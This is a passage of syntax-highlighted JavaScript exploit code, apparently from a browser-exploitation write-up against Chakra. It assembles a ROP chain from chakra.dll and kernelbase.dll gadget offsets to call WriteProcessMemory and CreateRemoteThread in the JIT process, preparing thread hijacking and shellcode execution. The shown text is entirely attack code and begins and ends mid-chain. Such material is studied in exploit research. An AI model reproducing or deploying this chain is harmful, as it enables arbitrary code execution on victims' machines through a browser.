<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
